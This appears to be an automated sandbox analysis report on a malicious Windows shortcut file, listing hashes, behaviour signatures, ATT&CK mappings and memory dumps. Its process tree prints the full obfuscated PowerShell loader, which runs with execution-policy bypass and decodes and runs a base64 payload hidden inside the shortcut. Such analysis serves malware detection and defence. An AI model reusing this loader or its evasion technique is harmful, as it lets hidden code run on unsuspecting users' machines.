300c090861a547a4c211b15b9f45d6dcb976128c21b78b6c38d1cf4c5d998e12

Analysis

max time kernel
10s
max time network
9s
platform
windows7_x64
resource
win7v20201028
submitted
06-03-2021 19:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Nov2018New!/ds7002.bin.lnk
Size

392KB
MD5

6ed0020b0851fb71d5b0076f4ee95f3c
SHA1

e431261c63f94a174a1308defccc674dabbe3609
SHA256

2cea2a1f53dac3f4fff156eacc2ecc8e98b1a64f0f5b5ee1c42c69d9a226c55c
SHA512

2a0b04791ab102b6d1760c5f0940969318562f444a5864ebf270f568cc8f6283630ca76377a9fc75691b67e7c459ab10782a2deb439fa9981a2f94bb208232f3

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1940 powershell.exe
1940 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1940 powershell.exe

pid	process
1940	powershell.exe
1940	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1940	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1856 wrote to memory of 1940	1856	cmd.exe	powershell.exe
PID 1856 wrote to memory of 1940	1856	cmd.exe	powershell.exe
PID 1856 wrote to memory of 1940	1856	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Nov2018New!\ds7002.bin.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noni -ep bypass $zk='JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0ZW0gLVBhdGggJEVudjp0ZW1wIC1GaWx0ZXIgJHRiIC1SZWN1cnNlO2lmICgtbm90ICRvZSkge2V4aXR9W0lPLkRpcmVjdG9yeV06OlNldEN1cnJlbnREaXJlY3RvcnkoJG9lLkRpcmVjdG9yeU5hbWUpO30kdnp2aT1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJHRiLCdPcGVuJywnUmVhZCcsJ1JlYWRXcml0ZSc7JG9lPU5ldy1PYmplY3QgYnl0ZVtdKCR2Y3EtJHB0Z3QpOyRyPSR2enZpLlNlZWsoJHB0Z3QsW0lPLlNlZWtPcmlnaW5dOjpCZWdpbik7JHI9JHZ6dmkuUmVhZCgkb2UsMCwkdmNxLSRwdGd0KTskb2U9W0NvbnZlcnRdOjpGcm9tQmFzZTY0Q2hhckFycmF5KCRvZSwwLCRvZS5MZW5ndGgpOyR6az1bVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZygkb2UpO2lleCAkems7';$fz='FromBase'+0x40+'String';$rhia=[Text.Encoding]::ASCII.GetString([Convert]::$fz.Invoke($zk));iex $rhia;
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1940

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1856-2-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp

Filesize
8KB

Download
memory/1940-3-0x0000000000000000-mapping.dmp

Download
memory/1940-5-0x000007FEF5B80000-0x000007FEF656C000-memory.dmp

Filesize
9.9MB

Download
memory/1940-6-0x0000000002350000-0x0000000002351000-memory.dmp

Filesize
4KB

Download
memory/1940-7-0x000000001AC10000-0x000000001AC12000-memory.dmp

Filesize
8KB

Download
memory/1940-9-0x000000001AC90000-0x000000001AC91000-memory.dmp

Filesize
4KB

Download
memory/1940-8-0x000000001AC14000-0x000000001AC16000-memory.dmp

Filesize
8KB

Download
memory/1940-10-0x000000001AA20000-0x000000001AA21000-memory.dmp

Filesize
4KB

Download
memory/1940-11-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/1940-12-0x000000001B650000-0x000000001B651000-memory.dmp

Filesize
4KB

Download
memory/1940-13-0x000000001B540000-0x000000001B541000-memory.dmp

Filesize
4KB

Download